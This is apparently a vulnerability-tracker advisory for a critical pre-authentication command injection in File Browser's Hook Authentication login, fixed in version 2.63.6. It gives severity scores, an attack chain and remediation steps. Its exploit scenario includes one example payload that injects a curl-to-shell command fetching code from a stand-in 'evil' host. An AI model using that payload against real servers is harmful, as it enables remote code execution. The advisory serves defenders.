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File Browser EUVDEUVD-2026-39510

| CVE-2026-54088 CRITICAL
OS Command Injection (CWE-78)
2026-06-25 GitHub_M GHSA-m93h-4hw7-5qcm
Command Injection Filebrowser
9.3
CVSS 4.0 · Vendor: GitHub_M
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Severity by source

Vendor (GitHub_M) PRIMARY
9.3 CRITICAL
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
vuln.today AI
9.8 CRITICAL

Network-reachable login, no auth or interaction once Hook Auth is enabled (PR:N/UI:N/AC:L), yielding full RCE with high C/I/A; scope unchanged as commands run within the server's own context.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
X

Lifecycle Timeline

2
Patch available
Jun 25, 2026 - 20:03 EUVD
Analysis Generated
Jun 25, 2026 - 18:55 vuln.today

DescriptionCVE.org

File Browser is a file managing interface for uploading, deleting, previewing, renaming, and editing files within a specified directory. Prior to 2.63.6, the Hook Authentication feature in File Browser allows administrators to delegate login verification to an external shell command. User-supplied credentials (username and password) are interpolated into this command string using os.Expand without sanitization. An unauthenticated remote attacker can inject shell metacharacters in the username or password field at the login screen, causing the server to execute arbitrary OS commands before any authentication takes place. This is a critical pre-authentication RCE. This vulnerability is fixed in 2.63.6.

AnalysisAI

Pre-authentication remote code execution in File Browser before 2.63.6 lets unauthenticated attackers run arbitrary OS commands when the optional Hook Authentication feature is enabled. Because login credentials are interpolated into an external shell command via os.Expand without sanitization, shell metacharacters placed in the username or password field at the login screen execute on the server before authentication occurs. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Reach File Browser login page
Delivery
Inject shell metacharacters in username/password
Exploit
Hook command interpolated via os.Expand
Execution
Shell executes injected OS commands pre-auth
Impact
Remote code execution as server process
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Vulnerability AssessmentAI

Exploitation Exploitation requires the File Browser instance to have the optional Hook Authentication feature enabled (login verification delegated to an external shell command) - this is the exact prerequisite and it is not the default. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment All severity signals point to genuine high priority: the CVSS 4.0 vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N describes a network-reachable, low-complexity, unauthenticated attack with full confidentiality, integrity, and availability impact on the vulnerable system, scoring 9.3. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker who can reach the login page of a File Browser instance configured with Hook Authentication submits a username or password containing shell metacharacters, e.g. a payload like '; curl http://evil/x | sh ;'. …
Remediation Upgrade to File Browser 2.63.6, which contains the vendor fix (Vendor-released patch: 2.63.6); see the advisory at https://github.com/filebrowser/filebrowser/security/advisories/GHSA-m93h-4hw7-5qcm. … Detailed patch versions, workarounds, and compensating controls in full report.
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Recommended ActionAI

24 hours: Audit all File Browser instances to determine if Hook Authentication is enabled; if exposed to untrusted networks, disable the feature or restrict network access to trusted IP ranges. …

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Same weakness CWE-78 – OS Command Injection

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EUVD-2026-39510 vulnerability details – vuln.today
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